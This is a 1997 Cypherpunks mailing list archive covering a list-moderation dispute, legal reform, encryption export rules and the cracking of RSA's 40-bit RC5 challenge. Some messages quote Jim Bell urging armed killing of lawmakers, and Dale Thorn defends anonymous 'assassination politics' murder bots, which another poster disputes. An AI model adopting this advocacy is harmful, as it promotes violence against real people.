    seems to me Jefferson said it took a rebellion every 20 years or so 
    to keep democracy awake...  other than presuming your answer is 
    tongue in cheek (not elsewhere), complacency == welfare.

+My contribution to this thread from the Cpunk History & Philosophy 
+Division:   a Jewish saying from a book I glanced through of couple of 
+weeks ago, something like:
+
+	"What good is it to a man who has lost his sight
+	  that his ancestors had perfect vision."

    not a lot, but that does not mean he should scorn those who have
    managed to retain their sight. your saying is rather characteristic 
    of the genre --best glamourized in Mad magazine. 

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+LRYfJexD1s=
=y085
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 22:12:59 -0800 (PST)
To: Jim Choate <cypherpunks@toad.com>
Subject: Re: Free & Open Society & toleration
Message-ID: <199702030612.WAA14299@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970201:2001 Jim Choate <ravage@einstein.ssz.com> said:

+I further hold that one of the current legal practices based on
+precidence which MUST be replaced is our system dealing with
+defamation. I further hold that our current system of legal
+representation is inherently flawed and prevents equal representation
+under the law.

    BULLSHIT

    why don't you toll the bell for freedom while you're at it, and 
    think about 'for whom the bell tolls.' --it tolls for thee.

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=4Hwo
-----END PGP SIGNATURE-----
  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 2 Feb 1997 22:11:32 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702030611.WAA14254@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> With no false modesty I tried awfully hard to compose
> substantive essays on crypto-political topics, often more than one per day.
> (Others did too, but they seem to be tapering off as well, leaving the list
> to be dominated by something called a "Toto," the "O.J. was framed!"
> ravings of Dale Thorn,

Dale, that's me!

> * To summarize:
> - the decision to censor the list was made without any discussion on the
> list, without any discussion with at least some of the longterm core
> contributors, and was presented as a "fait accompli."
> - while John has every right to do with his hardware as he wishes, he does
> not "own" the Cypherpunks group (though whether he owns the "list" is a
> semantically debatable point)

Which is exactly the point I labored so long on while Tim May was
sitting on the sidelines.

> - whatever our group once was, or still is, is not dependent on having a
> particular mailing list running on someone's home machine...and it cannot
> be claimed that any person "owns" the Cypherpunks group.

Ditto.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 22:11:34 -0800 (PST)
To: Jim Choate <toto@sk.sympatico.ca>
Subject: Re: Free & Open Society & toleration
Message-ID: <199702030611.WAA14255@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    are you really saying we must dispose of our time honoured 
    tradition of "the best justice money can buy..." ???  say it is not 
    so; where would our legal system be without body trading?

    as for the communist/socialist ideal of work/need/want where want 
    is suppressed --it does not work; never has, never will. even the 
    religious orders have not made it work over time (other than by 
    fear).

on or about 970201:2218 Jim Choate <ravage@EINSTEIN.ssz.com> said:

+1.  Removal of the lawyer from the ultimate choice of whether the case
+    should be pursued.

    whew, open the floodgates. free lunch.

+2.  The minimalization of the defendants and plaintiffs monetary
+    resources
+    by removing them from the legal system by choosing the legal
+    representation of both parties by lot.

    damn, free dinner, too.

+3.  By moving the responsibility of police to provide evidence from the
+    prosecution to the court we equalize the impact of irregularities
+    in evidence selection as well as minimizing the sorts of evidence
+    disputes which so impact some trials (ie OJ Simpson).

    my, we're on a roll, aren't we?

+4.  By the implimentation of a bond proviso on the part of the
+    plaintiff
+    the system provides a check and balance reducing nuisance cases as
+    well as reducing the taxation load on the citizenry.

    this is already a factor in the need to pay an attorney his 
    ridiculous fees. being required to post a plaintiff's bond does 
    nothing to equalize the rights of the have nots --most of whom seem 
    to have unlimited resources from the dogooders anyway.

    Get real, Jim.  it may not be the best system, but other than 
    enforcing the principles on which it is founded, and stripping 
    attorney privileges to a percentage of the take, the system works 
    quite well; corruption on the bench is whose fault?  ours, just 
    like the excesses in Washington are our fault.

    it is _our_ failure to insist on clean, representative government 
    and judiciary.  and to convert to a pooled system for equality is 
    not going to stop graft -it is built in to human greed.  

    stop apathy on _our_ part, and we will stop graft.

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=mfZQ
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 22:11:23 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <199702030611.WAA14240@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Steve Schear

I sincerely doubt that many would use AP to right small slights, anymore
than many now kill others for the same reasons.  The world has always been
inhabited by bullies and tyrants who cared little of what harm they caused
others.  An AP system would quickly eliminate bullies and tyrants.
....................................................

Some of them.  But like an infection which can be potentialy killed with 
antibiotics, ignoring the unhealthy conditions which made it possible to 
establish itself will frustrate the attempts to prevent the phenomena of 
its recurrence.

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 2 Feb 1997 22:11:24 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702030611.WAA14241@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> Better yet, set up a system to encourage the public to USE those guns (and 
> other weapons) to get rid of the people who pass such laws, and the problem 
> is solved.
> 

How about this scenario: I borrow 1 million dollars from, let's say,
Phill Hallam-Baker. Not wanting to pay it back, I pay to the
assassination bot and arrange him to be murdered.

Another story: suppose that I negligently caused fire that destroys
house of, say, Toto. Toto knows that if he sues me, I can arrange him
murdered for the amount less than the amount of damages. As a result,
he refrains from suing me, or (if he is a mean person) pays additional 
money to have me murdered. A suit would probably be a much better outcome.

Another story: suppose that OKSAS hired me to work for her, but then
our relationships go south and she fires me. Again, her fate is very
unclear, although I would probably spare her life if it were she. 

The bottom line is, it becomes very hard to do ANYTHING that disappoints 
at least somebody. That can lead to a lot of inefficiencies.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Moskowitz <rgm3@chrysler.com>
Date: Sun, 2 Feb 1997 22:12:59 -0800 (PST)
To: ietf-sectest@toad.com
Subject: Re: Reminder: Release 0.4 of my Linux IPSEC code is out.
Message-ID: <199702030612.WAA14304@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:29 AM 1/29/97 +0200, John Ioannidis wrote:
>
>Please note that in some countries such as the USA, it is unlawful for a 
>citizen of that country to provide technical assistance "with the intent to 
>aid a foreign person in the development or manufacture outside the United 
>States" of
>"Encryption Items". 

I think there is a partial 'out'.  If a US company is attempting to
interoperate with your code and fails, they can point to the part of a
public specification related to the failure.  Such as our implementations
failed to interoperate related to section n.m.o of rfc wxyz.

But I am not a lawyer, only heard this explaination 3rd hand from a lawyer.



Robert Moskowitz
Chrysler Corporation
(810) 758-8212






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 2 Feb 1997 22:26:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: VOICE STRESS ANALYSIS
Message-ID: <199702030626.WAA14604@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Awhile back we were discussing voice-stress analysis; just got this item on 
the subject; he said it's okay to post it.



>From: Spectre334@aol.com
>Date: Sun, 2 Feb 1997 09:31:17 -0500 (EST)
>To: jimbell@pacifier.com
>cc: BLAMES2778@aol.com, AFSCA@aol.com, JLeek426@aol.com
>Subject: VOICE STRESS ANALYSIS
>
>MR. BELL:
>
>I FOUND YOUR QUERY ABOUT VOICE STRESS ANALYSIS ON THE INTERNET, AND I TOO,
>HAVE FOUND A DEARTH OF INFORMATION THERE - UNTIL NOW.
>
>I'M PLEASED TO REPORT THAT VOICE STRESS ANALYSIS (VSA) IS ALIVE AND WELL.  IT
>HAS BEEN QUIETLY PERFORMING IN THE SHADOW OF THE POLYGRAPH FOR MANY YEARS.
> NOW, HOWEVER, IT IS COMING INTO ITS AND IS USED IN MANY STATES TO AID IN
>CRIMINAL INVESTIGATIONS AND OTHER APPLICATIONS.
>
>AMONG ITS OTHER BENEFITS, VSA REQUIRES NO INTIMIDATING HOOKUP TO THE
>SUBJECT'S BODY, IN ORDER TO MEASURE THE LEVEL OF STRESS.  IT CAN BE CONDUCTED
>VIRTUALLY ANYWHERE - EVEN WHERE NO ELECTRICITY IS PRESENT.  PERHAPS MOST
>PERTINENT TO YOUR QUESTION, VSA CAN BE SOMETIMES PERFORMED ON PEOPLE WHO ARE
>NO LONGER AROUND, THROUGH THEIR RECORDED VOICES.  THIS IS CALLED "NARRATIVE
>ANALYSIS" AND IS SOMEWHAT TOUGHER THAN THE BASIC QUESTION - AND -ANSWER
>APPROACH, SINCE THE EXAMINER CANNOT CONTROL THE CONTENT AND SEQUENCE OF
>QUESTIONS, IF THE SOURCE IS A PAST RECORDING.
>
>THE DIOGENES GROUP, INC., OF WHICH I AM PRESIDENT, HAS DEVELOPED A TOTALLY
>DIGITAL APPROACH TO VSA, AND BEGAN DELIVERING SYSTEMS TO LAW ENFORCEMENT
>AGENCIES IN DECEMBER, 1996.  THE PREMIER DIOGENES VSA PRODUCT IS REDUCED TO
>THE SIZE OF A NOTEBOOK COMPUTER, BUT PRODUCES REALTIME PROCESSING FOR
>SOFTCOPY DISPLAY, AND HARDCOPY PRINTING WITHIN SECONDS.
>
>YOU MAY BE FAMILIAR WITH THE PREVIOUS STATE-OF-THE-ART, WHICH WAS A
>RELATIVELY LARGE ANALOG MACHINE, USING A SINGLE CHANNEL AND PRINTING OUT THAT
>DATA ON A ROLL OF THERMAL PAPER.  THOSE DAYS ARE GONE FOREVER.  
>
>IF YOU WOULD LIKE MORE INFORMATION ON THE DIOGENES GROUP AND ITS PRODUCTS,
>PLEASE USE THIS CHANNEL TO SEND ME YOUR MAILING ADDRESS, PHONE NUMBER, AND
>FAX NUMBER.
>
>THANKS FOR YOUR INTEREST IN VOICE STRESS ANALYSIS.
>
>SINCERELY,
>
>TOM
>
>(THOMAS F. MCGRAW)
>
>
Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 2 Feb 1997 22:13:14 -0800 (PST)
To: dthorn@gte.net
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702030613.WAA14333@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> 
> > How about this scenario: I borrow 1 million dollars from, let's say,
> > Phill Hallam-Baker. Not wanting to pay it back, I pay to the
> > assassination bot and arrange him to be murdered.
> 
> Igor, there's an old saying in this country: the best way to lose a
> friend is to lend him money.

Phill, in this example, is not my friend, but a lender.

> > Another story: suppose that I negligently caused fire that destroys
> > house of, say, Toto. Toto knows that if he sues me, I can arrange him
> > murdered for the amount less than the amount of damages. As a result,
> > he refrains from suing me, or (if he is a mean person) pays additional
> > money to have me murdered. A suit would probably be a much better outcome.
> 
> Sometimes you have to pay a steep price for negligence, like neglecting
> to watch how close you get to the edge of the road on, say, Topanga
> Canyon or one of those (long way down).  Now, since people *know* to
> be extra careful on the canyon roads, don't you think by the same
> analogy they'd be extra careful with other things when AP is running?

Mmm, likely the result will be that Toto will be impoverished (it is an
example, do not take it personally) and will not only not be able to
murder me, but also will be too afraid to sue me (because I would
rather pay for a cheaper assassination than to pay damages).

> > Another story: suppose that OKSAS hired me to work for her, but then
> > our relationships go south and she fires me. Again, her fate is very
> > unclear, although I would probably spare her life if it were she.
> 
> If she does it right, with empathy, there is not likely to be a
> problem.  On the other hand, if she bad-mouths you to prospective
> employers or customers you want to do business with, you might be
> inclined to hit her.  This happens a lot when AP is not available.

... But would happen more often if it was.

> > The bottom line is, it becomes very hard to do ANYTHING that disappoints
> > at least somebody. That can lead to a lot of inefficiencies.
> 
> To get rid of everyone who pisses you off, you'd have to pay a lot
> more money than you'll ever have, therefore not a problem.  Those

Why, I will have a lot of money.

> people who have such money are not going to bump off very many more
> people than they already do, because:
> 
> 1. They need the people to make money off of (Mafia rule #4, never
>    kill someone who owes you money [or is a money source]).

This is a wrong Mafia rule, they do kill debtors who are in default.

> 2. Rich people have a lot of eyes on them, and it would be easy to
>    triangulate a series of murders to them, even without hard evidence.
>    In an AP world, this triangulation/correlation would be enough to
>    convince people to either shun this killer, or kill him outright.

When ten people make deals with each other, it becomes hard to
triangulate. And it is easy, if you know what deals are done, to change
the result of triangulation: suppose that I know that you borrowed 1
million from Toto, that my _and_ yours business partner had been
murdered (by me, but no one knows), and I am afraid that someone will
triangulate me and implicate me in that murder. I secretly order
the AP bot to kill Toto, and you get implicated.

Not good.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl11.crl.com>
Date: Sun, 2 Feb 1997 22:26:08 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702030626.WAA14617@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

Where to begin?  Tim May has taken the time to write broad and
thought provoking essay on this list's current moderation 
experiment.  I appreciate his analysis--and candor.  While I do
not agree with all he has written, I enormously respect his
dedication to his point of view.  

On Sun, 2 Feb 1997, Timothy C. May wrote:

> I chose not to write a "departing flame" (or message, but some might call
> it a flame) when I unsubscribed several weeks ago--within an hour of
> reading that John and Sandy had decided to make "their" list a moderated
> list,...

This is Tim's first error of fact.  I point it out not to insult
him, but because it seriously affects much of the rest of his
analysis.  We are conducting an experiment.  It will last one 
month.  After that, it's over if list members want it to be over.
If, on the other hand, moderation is seen by the list members as
beneficial to their use and enjoyment of the list, the current
form of moderation--or some variation will continue.

> ...and saw no point in wasting even more of my time arguing against the New
> Cypherpunks World Order, as the NCWO was clearly presented as a fait
> accompli, not something ablut which opinions of list members (or even list
> _founders_, at least not me) were being sought.

Factual error #2.  There was a call for comment; Tim chose not to
do so.  In retrospect, I wish we had run it by Tim, Eric and 
Hugh in more detail before making the annoucement, but we didn't.
Certainly a tactical error and a breach of protocol, but not the
end of the world.  Sorry Tim.  I should have spoken to you first.

> I see vast amounts of bandwidth consumed by arguments about
> moderation, about the putative biases of the Moderator and Director of the
> New Cypherpunks World Order, about alternative moderation strategies (which
> is stupid, as John and Sandy announced what they were going to do, not just
> some of their preliminary thoughts), and so on. I've also noticed fewer
> substantive essays.

And I see something different.  Since previously, Tim actively
filter the list, I'm not sure on what basis he can make his
comparison.  As just one example (though a signicant one) Dimitri
has posted more non-flaming, on-topic posts during the two weeks
of this experiment then in the previous several months.  In my 
opinion, other than for the hysterical posts of a very few 
self-righteous loudmouths, the overall quality of the posts has
been far superior to what it had become in the weeks before the
experiment began.  YMMV.

> With no false modesty I tried awfully hard to compose substantive
> essays on crypto-political topics, often more than one per day.

I would hope that Tim will return to this practice irrespective
of whether the list remains moderated or returns to its previous
policies.  More on this, below.

> (Others did too, but they seem to be tapering off as well, leaving the list
> to be dominated by something called a "Toto," the "O.J. was framed!"
> ravings of Dale Thorn, the love letters between Vulis and someone name
> Nurdane Oksas,...

Two points:  Since Tim largely agrees with those in opposition to
moderation, and because of the extraordinary nature of Tim's post,
I did not send it to the "flames" list.  It was a judgment call.
 
The problems Tim describes, did not arise with moderation.  
Indeed, they were the imputus for the moderation.

> * But the really important issue is this: is the _physical hosting_ of the
> Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
> was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
> these hosts to be the "owners" of the Cypherpunks group?...

I think this is a Straw Man.  John and I have never argued that
John "owns" cypherpunks.  When a Cypherpunk meeting is held in
someone's living room, however, I don't think it's asking to much
to ask everyone to follow the local rules (e.g., "no shoes in the
house" or "no smoking" or even "no ad hominem attacks").  As Tim
is fond of saying, "my house; my rules."  I don't think this 
means Tim "owns" a physical meeting in his house.

> While John had (and has) every legal right
> to do with his property as he wished, the effect was very negative. First,
> Vulis found other ways to post (duh).

Tim, do you really believe that John did not anticipate this?

> Second, the list was consumed with
> flames about this, many from Vulis, and many from others.

It was consumed with flames before.  Now, at least, the vast
majority of folks on the list don't have to read them, nor jump
through any hoops to implement some sort of dynamic filtering
half-measure.

> Third, journalists (who love sizzle over substance any day of
> the week) lept into the fray with articles which gave Vulis the
> publicity he craved.

That's what journalist do, though I wasn't aware of ANY articles
on this issue.  I would appreciate it if Tim could give us some
citations.  

> Fourth, it sent a message to enemies of liberty that "Even the 
> Cypherpunks have found it necessary to abandon their anarchic
> ways."

That's one message that one could take from all this, I suppose.
I don't see it that way, nor do several list members who thanked 
me in private e-mail for improving the list.  Again, YMMV.
 
> (I'm well aware of the issues with pests like Vulis, who seek to destroy
> virtual communities like ours. But the solution John used did not work, and
> generated more crap....

What didn't work was "local filtering" which has no feed-back 
loop to engender comity.  This might not work either, but I see
no evidence that it has made things worse.  Remember, there are a
hand-full of subscribers to the Flames list, 20-30 on the 
Unedited list and *2000* or so on the Moderated list.  Sure some
of that may be due to laziness, but it would be cavalier in the
extreme to claim that such an overwhelming acceptance of 
moderation is merely an artifact of inertia.

But to make things perfectly clear one more time, ANYONE WHO 
WANTS TO READ THE ENTIRE CYPHERPUNKS FEED SHOULD SUBSCRIBE TO 
"CYPHERPUNKS-UNEDITED" AND/OR "CYPHERPUNK-FLAMES."  

> * "Censorship" is another overloaded term. I don't think the "Definition 1"
> of dictionary definitions, about _governmental_ restrictions, is the only
> meaningful definition. Everybody knows what it meant when we say that
> "Lockheed is censoring the views of employees," even though we know
> Lockheed is not using government power. A censor is one who censors. And
> even my "American Heritage Dictionary" gives this as its "definition 1":
> 
> "censor n. 1. A person authorized to examine books, films, or other
> material and to remove or suppress morally, politically, or otherwise
> objectionable."

Tim and I disagree on which definition of "censorship" applies in
this situation.  Dale Thorne, and others, have argued, in essence,
that there is censorship if ANY definition would apply.  I'm not
sure time is going that far, but if so, I respectfully disagree.

But let's apply Tim's above definition for the sake of argument.
Am I, thereby, a censor?  Well I am examining "other material" 
and I am making judgments with regard to whether or not it is
"objectionable," unfortunately for Tim's argument, I am neither
"removing" nor "supressing" anything.  Anybody can read anything
that gets posted to Cypherpunks--in two places.  I am sorting,
but even my sorting can be completely avoided.

> * OK, even given that John had decided to censor "his" list, what about his
> choice of Sandy Sandfort as the censor?

John didn't choose me, I approached him.  I offered my opinion as
to what I thought HE ought to do about the list disruptions.  The
short version of his answer was, "if you think you can do a 
better job, go for it."  I accepted the challenge, so here I am.
I don't want this job.  If the list members decide to keep the 
list moderated, I hope to keep my involvement as a moderator to a
minimum.  Any volunteers?

> * Nor do the announced criteria make any sense. While the inane one-line
> scatological insults have been filtered out, many "flames" make it through,
> based on what I've seen in perusing the hks archive site. And some
> reasonable comments get dumped in the flame bucket.

Very possibly true.  Moderation is like crypto, perfection isn't
and option.  However, a 90% solution is a heck of a lot better 
than no solution at all.  Yes, I've made what I consider to be
errors, but I think on some, I've done a very good job overall.
 
> * (Frankly, one of my considerations in leaving was the feeling that I
> would never know if an essay I'd spent hours composing would be rejected by
> Sandy for whatever reasons....

Tim, I think this is disingenuous.  I have been quite clear on 
my moderation criteria.  You are too intelligent to feign such
a lack of understanding.

> maybe he might think my essay was off-topic,

Clearly not a criterion I ever enunciated.

> or used one of the Seven Deadly Words, 

Clearly not a criterion I ever enunciated.

>or was "too flamish."

Bingo (with the proviso that it be a personal attack on a list
member as opposed to the substance of his or her argument).

> * The decision to "moderate" (censor) the Cypherpunks list is powerful
> ammunition to give to our opponents,

Piffle.  Letting spoiled children destroy the list puts a far
more powerful weapon in the hands of our enemies.

> and Vulis is certainly gleeful that
> his fondest wishes have been realized.

I do not have a crystal ball.  My Vulcan mind meld is in the 
shop.  No one--neither Tim, nor I, nor probably even Vulis--knows 
whether is gleeful about all this or not.  An frankly, who cares?
The question is, are list members happy or not with moderation.
Tim was not.  I am.  By the end of the experiment, I dare say we
will have a good idea what most list members think. 

> (I would venture a guess that a Duncan Frissell would almost certainly get a
> libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to
> get a leftist rant past him.)

I sorry Tim gives me so little credit.  Rather than merely post a 
self-serving denial, I would ask that Phill confirm or deny Tim's
supposition.  To the best of my recollection, I have sent only
one post of Phill's to the Flames list.  It flamed Jim Bell.  As
far as moderating political rants go, I'm agnostic.

Look folks, when you stop trying new things, and stop questioning
conventional wisdom, you are as good as dead.  Maybe moderation
is the best think since sliced bread; maybe it sucks.  How about
we give it a good-faith try for the next 2+ weeks and see how it 
goes?  If the consensus is it sucks, I intend to be gracious in
defeat.  If it goes the other way, I hope that the neighsayers 
will accept it and let the list get on with its role as a forum
for the protection of privacy.

Thanks again, Tim, for sharing your views with us.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl10.crl.com>
Date: Sun, 2 Feb 1997 22:40:42 -0800 (PST)
To: roy@scytale.com
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702030640.WAA15028@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 2 Feb 1997, Roy M. Silvernail wrote:

> In Minneapolis and Anchorage (the two cities of which I have knowledge)
> mail carriers have a key that opens not only apartment-style mailboxes,
> but little boxes on the outside of apartment buildings that hold a key
> to the building's lobby.  Snag one of those keys and a large portion of
> the city opens its doors to you.  (some buildings have further locked
> doors beyond the mailbox lobby to counter this threat)

So much for key escrow.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Mon, 3 Feb 1997 06:41:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Gilmore's Moderated Cypherpunks List
Message-ID: <199702031441.GAA25301@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Our Former Titular Leader Bails and Expounds Thusly Over the
Smoking Remains of the Once Mighty Cypherpunks List:

 > First, I don't argue that John Gilmore is unfree to do as
 > he wishes with his machine, toad, which has been the major
 > machine host for the Cypherpunks list. John can tell us we
 > have to write in Pig Latin if he wishes.

Freedom of the Press belongs to those who own one. Since there
are no legal restrictions on the name "Cypherpunks", anyone with
a working box can host a "Cypherpunks List", and individuals may
choose to spend their reputation capital improving the S/N ratio
of whatever Cypherpunks Lists they favor.  In this sense, a
"Cypherpunks List" is like a "Webster's Dictionary." Anyone can
use the name, and the deluxe leather bound edition put out by a
University is better than the tacky newsprint one offered as a
premium by your local book club.

Gilmore's Moderated Cypherpunks List is one of many forums where
Cypherpunks may choose to congregate, some of which carry the
name "Cypherpunks," and some of which do not.

 > I think we should all be very grateful to John for agreeing
 > to let it run on his hardware, but not let our gratitude
 > turn into some sort of subservience and blather about how
 > John "owns" the Cypherpunks group.

I think we should have nipped Gilmore in the bud when he censored
Vulis, and immediately looked for a new site to host a
Cypherpunks list which was not subject to sudden and arbitrary
censorship by the site owner.  John, of course, would have been
perfectly free to continue to host "Gilmore's Moderated
Cypherpunks List", and we would have perfectly free not to post
there any more.

Instead, being comfortable and lazy, we tolerated Gilmore's
pathetic attempts to exterminate the pesky Vulis, and given that
Vulis was more than a match for Gilmore mentally, the pissing
contest soon escalated as the frantic Gilmore took more and more
extreme measures to find "the final solution" to the good
Doctor's posts.

Again, predictable behavior by everyone involved.

 > Again, is the "Cyherpunks community" the same as the mailing
 > list? And is the mailing list, hosted at toad, the "property" of
 > John Gilmore?

Of course not.  What a silly notion.

All mailing lists that survive more than a few months are
organized around some strong personality who nudges the list back
on-topic when it begins to stray, and who posts articles
interesting enough that people will make regular visits to read
them.

If no one performs this function on a list, the list will die.

I think most people will agree with me that Timothy C. May has
been the person who performed this function here on Cypherpunks,
from its creation until fairly recently.  If he chooses not to
perform this function on "Gilmore's Moderated Cypherpunks List",
that is Mr. Gilmore's tough luck.  Perhaps if Mr. Gilmore asks
nicely, Dr. Vulis will volunteer.

Then again, perhaps not. :)

 > I'll have more to say about my problems with how things
 > were handled. Frankly, it smacked of the same kind of fait
 > accompli decision John made with the unsubscribing of Vulis.
 > While John had (and has) every legal right to do with his
 > property as he wished, the effect was very negative. First,
 > Vulis found other ways to post (duh). Second, the list was
 > consumed with flames about this, many from Vulis, and many
 > from others. Third, journalists (who love sizzle over
 > substance any day of the week) lept into the fray with
 > articles which gave Vulis the publicity he craved. Fourth,
 > it sent a message to enemies of liberty that "Even the
 > Cypherpunks have found it necessary to abandon their
 > anarchic ways."

I agree completely.  Do real Cypherpunks want to post to a list
run by someone who has undermined their agenda and made them look
like hypocritical idiots to the world?  Gilmore has done more
damage to the good name of Crypto Anarchy in the last few weeks
than the government spooks could ever have hoped for in their
wildest dreams.

 > But by making the _main list_ the censored one, this skewed
 > things considerably.

Yes, this was a sleezy and perfidious trick by Gilmore, who
apparently wanted to transform "Cypherpunks" into "Gilmore's
Moderated Cypherpunks List" by fiat.  Even the unedited list was
an afterthought to pacify critics, and you can be sure that it
will evaporate as soon as he thinks no ones complaints will be
heard.

 > Had there been a debate about the policy, I can think of
 > several approaches I'd like better. But inasmuch as John
 > made it clear that there would be no debate (and, perhaps as
 > part of the "problem," John has not really been a active
 > member of the mailing list, in terms of participating in the
 > debates), this is all moot.

 > In any case, my several years with the list have taken a
 > huge amount of my time. Given the way this whole thing was
 > handled, and the way the list is degenerating even further,
 > it looks like it's good that I'm moving on to other things.

Hey - if John Gilmore can attract readers to "Gilmore's Moderated
Cypherpunks List" by virtue of his charming personality, more
power to him.

Really. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Sun, 2 Feb 1997 22:26:06 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: "Strong" crypto and export rule changes.
Message-ID: <199702030626.WAA14616@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	Ian popped the 40-bit RC5 (not RC4) challenge with 259 processors,
almost all standard Unix college-lab workstations, as I understand it.
(RC5 has a variable block size and a variable number of rounds; but the
unknown plaintexts for this contest were enciphered using a declared
12-round RC5 with a 32-bit word size.) The message Ian revealed was
something like: "That's why you need a longer key!!!!!"

	RSA posted rewards for anyone who can break a 56-bit DES challenge
and/or any of 12 variable-length RC5 challenge messages.  The 40-bit RC5
cipher was the least of these and was expected to fall quickly.  The
initial RSA announcement of the contest emphatically declared that even
56-bit-key crypto (DES or RC5) offers only "marginal protection" against a
committed adversary -- which is not to in any way minimize Ian's
accomplishment, or the efforts (some also successful!) of others who also
tackled the 40-bit challenge.

	SDTI/RSA celebrated Ian's achievement enthusiastically at the RSA
Security Conference in San Fran last week. Burt Kalisky, the Chief
Scientist at RSA, preempted a main session at the Conference to do an
on-stage telephone interview with Ian about his attack.  SDTI (RSA)
apparently hopes to use Ian's "timely" achievement to urge Congress to
challenge the idiotic 40-bit EAR ceiling and the key-escrow contracts
required to get a 56-bit export license.

	 (The network Ian used to link his lab workstations, NOW at
Berkeley, is definitely not standard, however.  I think there is a
description of it online; but briefly, NOW seems designed to very
efficiently handle this sort of intensive distributed processing project.
More important, perhaps, was the fact that Ian just chewed through the
possible keys with a pure brute-force attack on the key space.  His attack
was not really optimized for RC5, or designed to attack any specific
element in the RC5 crypto architecture.)

	Jim Bitzos of RSA also gave a thought-provoking thumbnail summary
of the IBM Key Recovery Alliance (making a better case for it in 30 seconds
than the long technical presentatations from IBM.)  As Bitzos explained it,
the variable key-size control allows a corporate user to communicate
through encrypted links to a variety of international recipients --
dynamically adjusting the encryption mechanism to whatever varied
restrictions are required by the French, German, US, UK, etc. , govenments.

	"It's an imperfect world," growled Bitzos -- but both users and
vendors need workable mechanisms today to allow them to adapt to whatever
contraints on strong encryption that are, or will be, required by the
various national authorities.  It's a mistake, he suggested, to think of
the IBM Key Recovery Initiative soley in terms of US controls.  Many
governments are reacting with hostility to the availability of strong
encryption -- and until the Market finds a voice and educates the political
and spook cultures, commercial entities will inevitably have to adapt their
work-a-day communications security to a wide variety of national crypto
controls and key-length restrictions.

	(What I got about the IBM presentations was the realization that
there is nothing in the key recovery mechanism, per se, that requires the
recovery key to be held by a third party.  That, to my mind, is the
essential distinction between key escrow and key recovery.  I also realized
that IBM has, for years, quietly held a crucial piece of the PKC scheme in
its patented "control vector" tech, which irrevocably binds a whole set of
context-specific rules and constraints to a decryption key.  I now realize
that the control vector technology was the foundation much of the the DoD's
Blacknet development. Important stuff -- check it out!)

	Like Big Jim said, it's an imperfect world -- and likely to become
more so, from the C'punk perspective, before it becomes better.  The rumor
mill among the 2,500 cryptographers, mostly developers, who attended the
RSA Conference was pumping overtime.  One of the saddest and most
persistent rumors was that the Clinton Administration would, within months,
introduce a Congressional bill to make unescrowed strong encryption illegal
